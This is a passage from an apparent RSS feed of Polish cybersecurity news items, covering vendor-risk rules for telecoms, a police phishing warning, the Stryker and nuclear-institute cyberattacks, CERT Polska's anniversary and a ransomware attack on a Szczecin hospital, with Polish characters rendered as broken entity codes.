Przypomniaand#322; teand#380;, and#380;e to z Chin and#8211; obok Rosji, Iranu i Korei Pand#243;and#322;nocnej pochodzand#261; sponsorowane przez paand#324;stwa grupy cyberprzestand#281;pcze, ktand#243;re odpowiadajand#261; za wiand#281;kszoand#347;and#263; atakand#243;w na and#347;wiecie i w Europie. and#8222;Musimy wiand#281;c liczyand#263; siand#281; z tym, and#380;e w chiand#324;skim oprogramowaniu mogand#261; byand#263; backdoory (umyand#347;lnie pozostawione luki bezpieczeand#324;stwa and#8211; PAP), ktand#243;re umoand#380;liwiajand#261; chiand#324;skim grupom hakerskim sponsorowanym przez paand#324;stwo dostand#281;p do poufnych informacjiand#8221; - podkreand#347;liand#322;.
W marcu 2025 r. Przedstawiciele Play, Orange i T-mobile w odpowiedzi na pytania PAP przekazali, and#380;e udziaand#322; chiand#324;skiego sprzand#281;tu lub oprogramowania wynosi u nich ok. 50 proc. Natomiast w Plusie technologia 5G jest budowana w oparciu o infrastrukturand#281; dostarczanand#261; przez firmy Nokia i Ericsson.
Na pytania PAP z br., czy te dane sand#261; aktualne i jak telekomy odnoszand#261; siand#281; do propozycji aktu o cyberbezpieczeand#324;stwie, biuro prasowe Orange przekazaand#322;o, and#380;e firma analizuje propozycjand#281; Komisji Europejskiej i ma teand#380; na uwadze znowelizowanand#261; ustawand#281; o krajowym systemie cyberbezpieczeand#324;stwa. and#8222;Dziaand#322;amy zgodnie z obowiand#261;zujand#261;cymi przepisami prawa i band#281;dziemy siand#281; dostosowywaand#263; do nowych regulacji, kiedy zostanand#261; przyjand#281;te. Liczymy, and#380;e band#281;dand#261; adekwatne i proporcjonalneand#8221; - podkreand#347;liand#322;o biuro prasowe. Orange dodaand#322;o, and#380;e przykand#322;ada duand#380;and#261; wagand#281; do kwestii bezpieczeand#324;stwa i od lat prowadzi politykand#281; braku uzaleand#380;nienia od jednego dostawcy i dywersyfikacji sprzand#281;tu kupowanego do sieci.
Play przekazaand#322;, and#380;e udziaand#322; sprzand#281;tu Huawei stanowi ok. 50 proc. caand#322;ej sieci. Firma zaznaczyand#322;a, and#380;e stosuje siand#281; do obowiand#261;zujand#261;cych regulacji. Pytana o koszt wymiany sprzand#281;tu Huawei, firma poinformowaand#322;a, and#380;e moand#380;e siand#281; on rand#243;and#380;niand#263; w zaleand#380;noand#347;ci od czasu udostand#281;pnionego operatorom na wdroand#380;enie niezband#281;dnych zmian w ich sieciach.
Plus podtrzymaand#322; informacje o tym, and#380;e nie stosuje sprzand#281;tu Huawei, a T-mobile nie odniand#243;sand#322; siand#281; do pytaand#324; wysand#322;anych przez PAP.
Zdaniem Brogowskiego, przepisom znowelizowanej ustawy o KSC, oprand#243;cz and#8222;wielkiej czwand#243;rkiand#8221; telekomand#243;w, band#281;dand#261; podlegaand#263; rand#243;wnieand#380; lokalni operatorzy internetowi (ISP) dostarczajand#261;cy and#322;and#261;cznoand#347;and#263; and#347;wiatand#322;owodowand#261; do jednego lub kilku powiatand#243;w, ktand#243;rych jest w Polsce ok. 1,7 tys.; a takand#380;e mniejsi operatorzy wirtualni (MVNO), ktand#243;rych jest ok. 150.
and#8222;Wedand#322;ug badaand#324;, z ktand#243;rymi siand#281; zetknand#261;and#322;em, 81 proc. infrastruktury sektora Mand#346;P pochodzi spoza UE I NATO. Najczand#281;and#347;ciej jest to sprzand#281;t chiand#324;ski, gand#322;and#243;wnie Huawei i ZTE. Pytanie, czy te firmy band#281;dand#261; w stanie podoand#322;aand#263; finansowo wymianie takiego sprzand#281;tuand#8221; and#8211; zaznaczyand#322; ekspert.
Ministerstwo Cyfryzacji podkreand#347;laand#322;o podczas prac legislacyjnych, and#380;e jeand#347;li decyzja o DWR zapadanie, to przepisy dajand#261; organizacjom od piand#281;ciu do siedmiu lat na zastosowanie siand#281; do niej, a tyle mniej wiand#281;cej wynosi retencja sprzand#281;tu elektronicznego. Oznacza to, and#380;e w tym czasie i tak byand#322;by on wymieniony na nowszy. Brogowski przyznaand#322;, and#380;e to prawda, jednak jeand#380;eli firma wymieniaand#322;aby jedno urzand#261;dzenie Huawei na drugie and#8211; teand#380; od Huawei, to ceny tego sprzand#281;tu mogand#261; byand#263; niand#380;sze niand#380; nowy sprzand#281;t innego dostawy. and#8222;Przedsiand#281;biorcy pewnie majand#261; upusty, ktand#243;re przepadnand#261;. A wiand#281;c przy procedurze DWR musieliby zapand#322;aciand#263; wiand#281;cej niand#380; przy normalnym zuand#380;yciu siand#281; sprzand#281;tuand#8221; - oceniand#322;.
Ekspert zaznaczyand#322;, and#380;e zgadza siand#281; ze zdaniem profesora Ryszarda Piotrowskiego, konstytucjonalisty z UW, ktand#243;ry twierdzi, and#380;e przepisy KSC ws. wymiany sprzand#281;tu obejmujand#261; wywand#322;aszczenie na cel publiczny, zwiand#261;zany z bezpieczeand#324;stwem narodowym i w zwiand#261;zku z tym koszty te powinny byand#263; pokrywane przez paand#324;stwo, a nie przez pojedynczych przedsiand#281;biorcand#243;w.
Prezydent Karol Nawrocki uzasadniand#322; w lutym przekazanie noweli o KSC do Trybunaand#322;u Konstytucyjnego m.in. kwestiand#261; przepisand#243;w regulujand#261;cych zasady uznawania podmiotand#243;w za dostawcand#243;w wysokiego ryzyka. and#8222;Przepisy te ingerujand#261; w samodzielnoand#347;and#263; funkcjonowania przedsiand#281;biorcand#243;w, m.in. poprzez nakand#322;adanie obowiand#261;zku wymiany sprzand#281;tu oraz oprogramowania i to bez odszkodowania, i bez zabezpieczenia and#347;rodkand#243;w finansowych na ten celand#8221; - podaand#322; prezydent.
Nowela przewiduje, and#380;e firmy z 18 sektorand#243;w kluczowych i waand#380;nych (czyli m.in. energii, zdrowia, bankowoand#347;ci, produkcji, zaopatrzenia w wodand#281;) band#281;dand#261; miaand#322;y szereg nowych obowiand#261;zkand#243;w zwiand#261;zanych z cyberbezpieczeand#324;stwem. Obowiand#261;zkowe band#281;dzie m.in. wdroand#380;enie systemu zarzand#261;dzania bezpieczeand#324;stwem informacji, zapewnienie bezpieczeand#324;stwa and#322;aand#324;cucha dostaw produktand#243;w, usand#322;ug i procesand#243;w ICT oraz regularne ocenianie ryzyka wystand#261;pienia incydentand#243;w.
Ustawa ma wejand#347;and#263; w and#380;ycie po upand#322;ywie miesiand#261;ca od dnia ogand#322;oszenia, czyli od 2 marca br. W ciand#261;gu pierwszych szeand#347;ciu miesiand#281;cy obowiand#261;zywania ustawy podmioty objand#281;te KSC band#281;dand#261; musiaand#322;y sprawdziand#263;, czy podlegajand#261; przepisom i zarejestrowaand#263; siand#281; w specjalnym rejestrze. Na zastosowanie siand#281; do przepisand#243;w przedsiand#281;biorcy band#281;dand#261; mieli rok.
Celem najnowszej propozycji ws. aktu o cyberbezpieczeand#324;stwie autorstwa KE jest wyand#322;and#261;czenie dostawcand#243;w produktand#243;w i usand#322;ug, ktand#243;re mogand#322;yby byand#263; wykorzystane przez kraje lub podmioty trzecie np. do szpiegostwa lub atakand#243;w cybernetycznych. Wedand#322;ug propozycji paand#324;stwo trzecie mogand#322;oby zostaand#263; uznane za ryzykowne z punktu widzenia cyberbezpieczeand#324;stwa po dochodzeniu zainicjowanym na wniosek KE lub co najmniej trzech paand#324;stw czand#322;onkowskich. Od momentu stwierdzenia takiego ryzyka paand#324;stwa czand#322;onkowskie band#281;dand#261; miaand#322;y trzy lata na zrezygnowanie z usand#322;ug przedsiand#281;biorstw pochodzand#261;cych z takich krajand#243;w i znalezienie alternatywnych dostawcand#243;w.
Nowym prawem majand#261; zostaand#263; objand#281;ci nie tylko dostawcy sieci komand#243;rkowych, ale teand#380; dostarczajand#261;cy usand#322;ugi i towary o krytycznym znaczeniu, takie jak: skanery, pojazdy zautomatyzowane, systemy zasilania i magazynowania energii elektrycznej, zaopatrzenia w wodand#281;, drony i systemy antydronowe, usand#322;ugi przetwarzania w chmurze, urzand#261;dzenia medyczne czy pand#243;and#322;przewodniki.
and#378;rodand#322;o PAP 14 marzec 2026and#160; Monika Blandyna Lewkowiczand#160;
mbl/ mmu/ ]]></description>
		</item><item>
			<title><![CDATA[ Policja ostrzega przed oszustami podszywającymi się pod platformy streamingowe ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1635</link>
			<description><![CDATA[ and#346;land#261;ska policja ostrzega przed kolejnymi sposobami oszustw internetowych and#8211; jednym z nich jest podszywanie siand#281; pod znane filmowe serwisy streamingowe. Cyberprzestand#281;pcy wyand#322;udzajand#261; dane od uand#380;ytkownikand#243;w, wysyand#322;ajand#261;c im sfaand#322;szowane wiadomoand#347;ci, pochodzand#261;ce rzekomo ze znanej platformy z filmami i serialami.






and#160;


fot. Dean Drobot /and#160;/and#160;Shutterstock


Phishing to jedna z najczand#281;stszych form oszustw internetowych. Polega na podszywaniu siand#281; pod wiarygodne instytucje firmy lub osoby za pomocand#261; wiadomoand#347;ci e-mail, SMS-and#243;w czy rozmand#243;w telefonicznych. Celem przestand#281;pcand#243;w jest wyand#322;udzenie danych lub pieniand#281;dzy. Jak podaand#322;a w niedzieland#281; komenda wojewand#243;dzka w Katowicach, dziaand#322;alnoand#347;and#263; phishingowa wykorzystujand#261;ca wizerunek popularnych platform streamingowych jest jednym z obecnie identyfikowanych zagroand#380;eand#324;.






and#160;



and#160;



Cyberprzestand#281;pcy podszywajand#261;cy siand#281; pod serwisy streamingowe wysyand#322;ajand#261; do uand#380;ytkownikand#243;w e-maile sugerujand#261;ce koniecznoand#347;and#263; pilnego anulowania abonamentu. and#8222;W treand#347;ci takiej wiadomoand#347;ci pojawia siand#281; informacja, and#380;e brak reakcji moand#380;e skutkowaand#263; potrand#261;ceniem dodatkowych pand#322;atnoand#347;ci, czand#281;sto e-mail opatrzony jest numerem sprawy lub zgand#322;oszenia, co ma dodatkowo uwiarygodniand#263; przekazand#8221; - opisali policjanci.
and#160;
Wysyand#322;ane wiadomoand#347;ci zawierajand#261; przycisk, np. and#8222;Anuluj terazand#8221;, ktand#243;ry przekierowuje na faand#322;szywand#261; stronand#281; and#322;udzand#261;co przypominajand#261;cand#261; oficjalny serwis. Po wejand#347;ciu na tand#281; spreparowanand#261; witrynand#281; uand#380;ytkownik proszony jest o podanie adresu e-mail i hasand#322;a do konta, danych osobowych oraz danych karty pand#322;atniczej (numer karty, data waand#380;noand#347;ci, kod CVV). W rzeczywistoand#347;ci dane te trafiajand#261; do przestand#281;pcand#243;w i mogand#261; zostaand#263; wykorzystane do nieuprawnionych transakcji lub dalszych oszustw.
O to platformy nigdy nie poproszand#261;
Policja przypomina, and#380;e serwisy streamingowe czand#281;sto na swoich stronach zamieszczajand#261; informacje, jak naleand#380;y postand#261;piand#263; w przypadku otrzymania tego typu wiadomoand#347;ci. Podkreand#347;lajand#261; w nich, and#380;e nigdy nie proszand#261; o podanie hasand#322;a w przesyand#322;anych wiadomoand#347;ciach, nie and#380;and#261;dajand#261; przesand#322;ania numerand#243;w kart pand#322;atniczych lub danych bankowych za poand#347;rednictwem wiadomoand#347;ci i nie wymagajand#261; dokonywania pand#322;atnoand#347;ci przez zewnand#281;trzne strony internetowe. Szczegand#243;lnand#261; czujnoand#347;and#263; uand#380;ytkownikand#243;w powinna wzbudziand#263; kaand#380;da wiadomoand#347;and#263;, ktand#243;ra wywiera na nich presjand#281; czasu.

and#160;

Komenda podkreand#347;la, and#380;e nie naleand#380;y klikaand#263; w podejrzane linki z wiadomoand#347;ci e-mail czy podawaand#263; danych logowania lub karty poprzez link otrzymany w wiadomoand#347;ci. - Sprawdzaj adres nadawcy oraz adres strony internetowej, w razie wand#261;tpliwoand#347;ci zaloguj siand#281; na swoje konto wyand#322;and#261;cznie poprzez rand#281;czne wpisanie adresu strony w przegland#261;darce lub poprzez oficjalnand#261; aplikacjand#281;, a jeand#347;li podaand#322;eand#347; dane karty natychmiast skontaktuj siand#281; z bankiem w celu jej zastrzeand#380;enia and#8211; wskazali mundurowi.
W razie ataku naleand#380;y zgand#322;osiand#263; sprawand#281; najbliand#380;szej jednostce policji, poinformowaand#263; swand#243;j bank i zgand#322;osiand#263; incydent do zespoand#322;u reagowania na incydenty bezpieczeand#324;stwa komputerowego (CSIRT).
and#8222;Apelujemy o rozwagand#281; i ostroand#380;noand#347;and#263; w sieci. Chwila nieuwagi moand#380;e skutkowaand#263; utratand#261; oszczand#281;dnoand#347;ci. Informujmy bliskich - szczegand#243;lnie osoby starsze - o aktualnych metodach dziaand#322;ania przestand#281;pcand#243;w, aby skutecznie siand#281; przed nimi chroniand#263;and#8221; - podsumowali policjanci.
and#378;rodand#322;o PAP 14 marzec 2026 kon/ ktl/ ]]></description>
		</item><item>
			<title><![CDATA[ Paraliż w 79 krajach. Znany producent sprzętu dla wojska celem cyberataku ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1634</link>
			<description><![CDATA[ Powiand#261;zana z Iranem grupa hakerska Handala przeprowadziand#322;a w and#347;rodand#281; atak na amerykaand#324;skiego producenta urzand#261;dzeand#324; medycznych Stryker, powodujand#261;c globalne zakand#322;and#243;cenia w systemach informatycznych firmy and#8211; podaand#322;y amerykaand#324;skie media. Stryker ma biura i zakand#322;ady m.in. w Polsce.



and#160;


fot. Nomad_Soul /and#160;/and#160;Shutterstock


Firma potwierdziand#322;a w oand#347;wiadczeniu, and#380;e doand#347;wiadcza and#8222;globalnych zakand#322;and#243;ceand#324; w and#347;rodowisku Microsoft w wyniku cyberatakuand#8221;. Zapewniand#322;a, and#380;e nie znaleziono and#347;ladand#243;w oprogramowania ransomware ani zand#322;oand#347;liwego oprogramowania innego typu, a incydent zostaand#322; opanowany. Wedand#322;ug CNN na ekranach logowania pracownikand#243;w pojawiand#322;o siand#281; logo grupy Handala.

Hakerzy twierdzand#261;, and#380;e wymazali dane z ponad 200 tys. systemand#243;w, serwerand#243;w i urzand#261;dzeand#324; mobilnych oraz przejand#281;li 50 terabajtand#243;w danych, zmuszajand#261;c firmand#281; do zamkniand#281;cia biur w 79 krajach. Jak podaand#322; serwis SecurityWeek, twierdzenia hakerand#243;w trudno zweryfikowaand#263;, ale dotychczasowe doniesienia potwierdzajand#261;, and#380;e czand#281;and#347;and#263; systemand#243;w Stryker na caand#322;ym and#347;wiecie zostaand#322;a faktycznie skasowana. Wiele z ok. 56 tys. zatrudnianych przez koncern osand#243;b zostaand#322;o odesand#322;anych do domand#243;w, bo nie mogand#322;y pracowaand#263; and#8211; podaand#322; Bloomberg.

Grupa Handala, aktywna od rozpoczand#281;cia wojny w Strefie Gazy, tj. od jesieni 2023 roku - oand#347;wiadczyand#322;a, and#380;e atak stanowi odwet za nalot na szkoand#322;and#281; podstawowand#261; w miejscowoand#347;ci Minab na poand#322;udniu Iranu, gdzie zginand#261;and#263; miaand#322;o ponad 170 osand#243;b, w wiand#281;kszoand#347;ci uczennice.
Cyberatak miaand#322; bezpoand#347;rednie konsekwencje dla sand#322;uand#380;b medycznych. Jak podaand#322;a CNN, stanowy instytut ratownictwa medycznego w Maryland poinformowaand#322; szpitale, and#380;e system transmisji elektrokardiogramand#243;w Stryker Lifenet przestaand#322; dziaand#322;aand#263; w wiand#281;kszoand#347;ci stanand#243;w. Ratownicy medyczni zostali poinstruowani, by przesyand#322;aand#263; wyniki badaand#324; drogand#261; radiowand#261;.
Stryker produkuje szerokand#261; gamand#281; sprzand#281;tu szpitalnego and#8211; od implantand#243;w, przez narzand#281;dzia chirurgiczne po systemy chirurgii robotycznej. W ubiegand#322;ym roku koncern podpisaand#322; kontrakt z Pentagonem o wartoand#347;ci 450 mln dolarand#243;w na dostawy sprzand#281;tu medycznego dla armii USA, a w 2019 roku przejand#261;and#322; izraelskand#261; firmand#281; medycznand#261; OrthoSpace. Wedand#322;ug ekspertand#243;w mogand#322;o to byand#263; jednym z powodand#243;w, dla ktand#243;rych staand#322; siand#281; celem ataku.
and#8222;New York Timesand#8221; zauwaand#380;yand#322; w czwartek, and#380;e cyberatak wzmand#243;gand#322; obawy, and#380;e w zwiand#261;zku z wojnand#261; USA i Izraela przeciwko Iranowi ofiarami podobnych dziaand#322;aand#324; mogand#261; paand#347;and#263; inne firmy lub obiekty infrastruktury.
Stryker prowadzi dziaand#322;alnoand#347;and#263; rand#243;wnieand#380; w Polsce, gdzie posiada m.in. zakand#322;ad produkcyjny w Skawinie pod Krakowem. To jeden z najwiand#281;kszych obiektand#243;w koncernu na and#347;wiecie.
and#160;
and#160;
and#378;rodand#322;o PAP 12 marzec 2026and#160;z Waszyngtonu Oskar Gand#243;rzyand#324;skiand#160;
osk/ akl/ ]]></description>
		</item><item>
			<title><![CDATA[ Centrum badań jądrowych pod naporem hakerów. Gawkowski: Zidentyfikowaliśmy próbę ataku ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1633</link>
			<description><![CDATA[ W ostatnich dniach doszand#322;o do cyberataku na Narodowe Centrum Badaand#324; Jand#261;drowych (NCBJ); polegaand#322; on na prand#243;bie przeand#322;amania zabezpieczeand#324;, ktand#243;ra zostaand#322;a powstrzymana - przekazaand#322; w czwartek wicepremier, minister cyfryzacji Krzysztof Gawkowski. Dodaand#322;, and#380;e atak prawdopodobnie byand#322; kierowany z Iranu.



and#160;


fot. Adam Chelstowski / Forum /and#160;/and#160;FORUM


Gawkowski pytany w TVN24+ o cyberatak na Narodowe Centrum Badaand#324; Jand#261;drowych, potwierdziand#322; and#380;e w ostatnich dniach doszand#322;o do incydentu.
- Atak nie byand#322; moand#380;e potand#281;and#380;nej skali, ale byand#322;a prand#243;ba przeand#322;amania zabezpieczeand#324;, ktand#243;ra zostaand#322;a powstrzymana - przekazaand#322; wicepremier. Dodaand#322;, and#380;e atak nie doszedand#322; do skutku w takiej skali, w jakiej byand#322; planowany.
Gawkowski zapewniand#322;, and#380;e centrum and#8222;jest bezpieczneand#8221;, a nad sprawand#261; pracujand#261; odpowiednie sand#322;uand#380;by.
- Pierwsze identyfikacje wektorand#243;w wejand#347;cia, czyli tych miejsc, z ktand#243;rych atakowano, sand#261; zwiand#261;zane z Iranem - wskazaand#322;. Zaznaczyand#322; przy tym, and#380;e and#8222;moand#380;e byand#263; to pewien kamuflaand#380;and#8221;.
- Jak band#281;dzie ostateczna informacja i sand#322;uand#380;by to posprawdzajand#261;, to band#281;dziemy weryfikowali, ale duand#380;o wskazuje (na to), and#380;e to miaand#322;o miejsce z terytorium Iranu - wyjaand#347;niand#322;.
and#8222;Narodowe Centrum Badaand#324; Jand#261;drowych funkcjonuje bez zakand#322;and#243;ceand#324;, a reaktor jand#261;drowy MARIA jest bezpiecznyand#8221; - zapewnili przedstawiciele NCBJ w przesand#322;anym PAP komentarzu i potwierdzili, and#380;e and#8222;w ostatnim czasie miaand#322;a miejsce prand#243;ba cyberataku na infrastrukturand#281; informatycznand#261; Instytutuand#8221;.
- Wszystkie systemy bezpieczeand#324;stwa zadziaand#322;aand#322;y zgodnie z procedurami, prand#243;ba zostaand#322;a zablokowana, a podjand#281;te dziaand#322;ania pozwoliand#322;y na natychmiastowe zabezpieczenie infrastruktury oraz utrzymanie ciand#261;gand#322;oand#347;ci pracy instytutu. Nie doszand#322;o do zakand#322;and#243;cenia and#380;adnych procesand#243;w produkcyjnych, operacyjnych ani badawczych, a reaktor MARIA pracuje bezpiecznie i bez zakand#322;and#243;ceand#324;, z peand#322;nand#261; mocand#261; - poinformowaand#322; PAP dyrektor NCBJ prof. Jakub Kupecki.
NCBJ podkreand#347;liand#322;o w komunikacie, and#380;e and#8222;dziand#281;ki band#322;yskawicznym i skutecznym dziaand#322;aniom systemand#243;w bezpieczeand#324;stwa oraz procedur na wypadek takiego zdarzenia oraz szybkiej reakcji naszych zespoand#322;and#243;w atak zostaand#322; udaremniony, a integralnoand#347;and#263; systemand#243;w nie zostaand#322;a naruszonaand#8221;.


Przedstawiciele instytutu zapewnili przy tym, and#380;e - and#8222;aby zapewniand#263; najwyand#380;szy poziom bezpieczeand#324;stwa infrastruktury krytycznejand#8221; - and#347;ciand#347;le wspand#243;and#322;pracujand#261; w tej sprawie z NASK-PIB, Ministerstwem Cyfryzacji, wicepremierem Krzysztofem Gawkowskim oraz Ministerstwem Energii i ministrem Miand#322;oszem Motykand#261;. Narodowe Centrum Badaand#324; Jand#261;drowych zadeklarowaand#322;o, and#380;e pozostaje w peand#322;nej gotowoand#347;ci do reagowania na wszelkie prand#243;by naruszenia bezpieczeand#324;stwa cyfrowego i infrastruktury krytycznej paand#324;stwa.


Gawkowski dodaand#322; we wpisie na platformie X, and#380;e wszystkie procedury w NCBJ zadziaand#322;aand#322;y. and#8222;Trwa poszerzona analiza zdarzenia. Obecnie nie identyfikujemy zagroand#380;eand#324; dla dziaand#322;alnoand#347;ci Narodowego Centrum Badaand#324; Jand#261;drowych. O wynikach ustaleand#324; band#281;dziemy informowaand#263; na bieand#380;and#261;coand#8221; - zaznaczyand#322;.and#160;
and#160;
and#160;
and#378;rodand#322;o PAP 12 marzec 2026 lt/ mbl/ mrr/ bar/ ktl/ ]]></description>
		</item><item>
			<title><![CDATA[ Gawkowski: Liczba cyberataków będzie rosnąć. CERT Polska obsłużył już 2 mln zgłoszeń ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1632</link>
			<description><![CDATA[ Z roku na rok band#281;dzie coraz wiand#281;cej incydentand#243;w cyberbezpieczeand#324;stwa; obsand#322;uguje je zespand#243;and#322; CERT Polska, ktand#243;ry peand#322;ni waand#380;nand#261; roland#281; w ochronie polskiej cyberprzestrzeni - mand#243;wiand#322; wicepremier, minister cyfryzacji Krzysztof Gawkowski podczas konferencji poand#347;wiand#281;conej 30-leciu istnienia CERT Polska.



and#160;


fot. KPRM /and#160;/and#160;Kancelaria Prezesa Rady Ministrand#243;w


- Musimy kaand#380;dego dnia broniand#263; Polek i Polakand#243;w w cyberprzestrzeni. W tym systemie szczegand#243;lnand#261; roland#281; odgrywa CERT Polska and#8211; jeden z najwaand#380;niejszych zespoand#322;and#243;w reagowania na incydenty bezpieczeand#324;stwa komputerowego w naszym kraju. Tylko w ubiegand#322;ym roku CERT Polska obsand#322;uand#380;yand#322; 260 tys. zgand#322;oszeand#324; incydentand#243;w. I niestety wiemy: z roku na rok band#281;dzie ich tylko wiand#281;cej and#8211; mand#243;wiand#322; Gawkowski.
Podkreand#347;liand#322;, and#380;e CERT od ponad 30 lat odpowiada za monitorowanie zagroand#380;eand#324; w polskiej cyberprzestrzeni, analizand#281; incydentand#243;w oraz reagowanie na cyberataki.
- Dziand#281;kujand#281; ekspertom CERT Polska za ich codziennand#261; pracand#281; i za to, and#380;e dziand#281;ki nim polska cyberprzestrzeand#324; jest bezpieczniejsza - zaznaczyand#322;.
Jak podaand#322; resort cyfryzacji, CERT Polska w ciand#261;gu 30 lat otrzymaand#322; 2 mln zgand#322;oszeand#324; incydentand#243;w cyberbezpieczeand#324;stwa - gand#322;and#243;wnie o phishingu (faand#322;szywe linki - PAP), zand#322;oand#347;liwym oprogramowaniu i prand#243;bach nieuprawnionego dostand#281;pu. W 2025 r. eksperci jednostki wprowadzili 250 tys. szkodliwych domen na Listand#281; Ostrzeand#380;eand#324; i zablokowali ponad 140 mln prand#243;b wejand#347;cia na niebezpieczne strony, poprzez ktand#243;re cyberprzestand#281;pcy m.in. wyand#322;udzali dane i pieniand#261;dze.















- To oznacza, and#380;e uratowaliand#347;my przed przestand#281;pstwami w sieci miliony Polek i Polakand#243;w, bo CERT zadziaand#322;aand#322; na czas i ubiegand#322; cyberprzestand#281;pcand#243;w and#8211; oand#347;wiadczyand#322; Gawkowski.
Incydenty moand#380;na zgand#322;aszaand#263; do CERT Polska przez SMS na numer 8080, formularz na stronie incydent.cert.pl oraz za poand#347;rednictwem mObywatela. Od 2024 roku zespand#243;and#322; ostrzega uand#380;ytkownikand#243;w mObywatela takand#380;e o zagroand#380;eniach przez powiadomienia push.
W lutym 2025 r. CERT Polska uruchomiand#322; platformand#281; moje.cert.pl., w ktand#243;rej za darmo moand#380;e zarejestrowaand#263; siand#281; kaand#380;dy wand#322;aand#347;ciciel strony internetowej. Platforma umoand#380;liwia monitorowanie bezpieczeand#324;stwa domen, wykrywanie wyciekand#243;w haseand#322; i band#322;and#281;dand#243;w konfiguracji. Obecnie korzysta z niej 17 tys. uand#380;ytkownikand#243;w, ktand#243;rzy monitorujand#261; ponad 20 tys. stron. System wykryand#322; dotand#261;d ponad 5,3 mln wyciekand#243;w haseand#322; i 600 tys. podatnoand#347;ci (luk bezpieczeand#324;stwa - PAP) - podaand#322; resort.
Do wykrywania podatnoand#347;ci CERT Polska uand#380;ywa autorskiego narzand#281;dzia Artemis. Jego zadaniem jest analiza konfiguracji, usand#322;ug, portand#243;w oraz popularnych systemand#243;w CMS wykorzystywanych przez polskie podmioty publiczne oraz prywatne. System udostand#281;pniony jest jako projekt open source (otwartoand#378;rand#243;dand#322;owy - PAP), co umoand#380;liwia jego szerokie wykorzystanie oraz transparentnoand#347;and#263; dziaand#322;ania.





Zespand#243;and#322; CERT Polska powstaand#322; w NASK 11 marca 1996 roku jako odpowiedand#378; na rosnand#261;ce zagroand#380;enia. Liczyand#322; wtedy trzy osoby i w ciand#261;gu roku obsand#322;uand#380;yand#322; 12 incydentand#243;w. Obecnie pracuje w nim okoand#322;o 100 osand#243;b.
CERT Polska jest jednym z trzech krajowych zespoand#322;and#243;w reagowania na incydenty komputerowe (CSIRT, Computer Security Incident Response Team) w Polsce. Oprand#243;cz analizowania zgand#322;oszeand#324; od obywateli zespand#243;and#322; obsand#322;uguje takand#380;e cyberataki wymierzone w szerokie grono instytucji publicznych. Naleand#380;and#261; do nich m.in. jednostki samorzand#261;du terytorialnego, jednostki budand#380;etowe i samorzand#261;dowe zakand#322;ady budand#380;etowe, agencje wykonawcze oraz instytucje gospodarki budand#380;etowej.and#160;
and#160;
and#160;
and#378;rodand#322;o PAP 11 marzec 2026 mbl/ mrr/

and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Walka z czasem w szczecińskim szpitalu. Informatycy odbudowują infrastrukturę po ataku ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1631</link>
			<description><![CDATA[ Kilkudziesiand#281;ciu informatykand#243;w pracuje nad powrotem usand#322;ug cyfrowych w szpitalu - poinformowaand#322; we wtorek rzecznik prasowy Szpitala Wojewand#243;dzkiego w Szczecinie Tomasz Owsik-Kozand#322;owski. Z soboty na niedzieland#281; placand#243;wka padand#322;a ofiarand#261; ataku cyberprzestand#281;pcand#243;w.



and#160;


fot. Krystian Maj /and#160;/and#160;FORUM


Obecnie nad powrotem usand#322;ug cyfrowych w Szpitalu Wojewand#243;dzkim w Szczecinie pracuje kilkudziesiand#281;ciu informatykand#243;w. Czand#281;and#347;and#263; z nich to pracownicy placand#243;wki, a czand#281;and#347;and#263; zostaand#322;a oddelegowana z innych organizacji.
-and#160;Ich praca skupia siand#281; po pierwsze na konfiguracji i uruchomieniu systemand#243;w informatycznych,and#160;w tym gand#322;and#243;wnego systemu zarzand#261;dzania szpitalem, a po drugie na przygotowaniu okoand#322;o tysiand#261;ca komputerand#243;w pracujand#261;cych w szpitalu, z ktand#243;rych kaand#380;dy trzeba rand#281;cznie sformatowaand#263; i skonfigurowaand#263; na nowo, by mogand#322;y one bezpiecznie wspand#243;and#322;pracowaand#263; ze wspomnianymi systemami.and#160;W normalnym trybie taki zakres prac zostaand#322;by rozpisany zapewne na wiele miesiand#281;cy and#8211; przekazaand#322; rzecznik prasowy Szpitala Wojewand#243;dzkiego w Szczecinie Tomasz Owsik-Kozand#322;owski.
Dodaand#322;, and#380;e w najbardziej newralgicznych miejscach personelowi udostand#281;pnione zostaand#322;y pojedyncze stacje robocze i pozostaand#322;y sprzand#281;t tj. drukarki, czy modemy, ktand#243;re czand#281;and#347;ciowo umoand#380;liwiand#322;y powrand#243;t do pracy cyfrowej. Nie majand#261; one jednak dostand#281;pu do systemu.
Co atak hakerski oznacza dla pacjentand#243;w i ich dokumentacji?
Do ataku cyberprzestand#281;pcand#243;w na system informatyczny szczeciand#324;skiego szpitala wojewand#243;dzkiego doszand#322;o w nocy z soboty na niedzieland#281;. System zostaand#322; zainfekowany, a czand#281;and#347;and#263; danych przestand#281;pcy zaszyfrowali, blokujand#261;c do nich dostand#281;p.
Szpital pilnie wdroand#380;yand#322; procedury awaryjne, w tym m.in. przejand#347;cie na papierowy tryb pracy. Dyrekcja placand#243;wki o ataku poinformowaand#322;a odpowiednie sand#322;uand#380;by i pozostaje z nimi w staand#322;ym kontakcie.
Jak przekazaand#322; Owsik-Kozand#322;owski, prace trwajand#261; m.in. w laboratorium centralnym i zakand#322;adzie radiologii i diagnostyki obrazowej. Do czasu powrotu do standardowego trybu pracy, w tych miejscach odbywaand#263; siand#281; band#281;dand#261; jedynie badania pacjentand#243;w szpitalnych - z oddziaand#322;and#243;w i poradni.and#160;Czasowo zawieszono teand#380; m.in. moand#380;liwoand#347;and#263; skorzystania z komercyjnej oferty laboratorium.
- Ponadto Szpital Wojewand#243;dzki, za poand#347;rednictwem prezesa Okrand#281;gowej Rady Lekarskiej w Szczecinie i konsultantki wojewand#243;dzki w dziedzinie medycyny rodzinnej, zwrand#243;ciand#322; siand#281; do lekarzy POZ z proand#347;band#261; o wsparcie w zakresie respektowania papierowej, rand#281;cznie sporzand#261;dzonej dokumentacji szpitalnej oraz wystawiania recept i zwolnieand#324; lekarskich dla pacjentand#243;w SPWSZ and#8211; przekazaand#322; rzecznik.
Pacjenci proszeni o zabezpieczenie swoich danych
Odpowiednie zgand#322;oszenie zostaand#322;o teand#380; przekazane Urzand#281;dowi Ochrony Danych Osobowych.


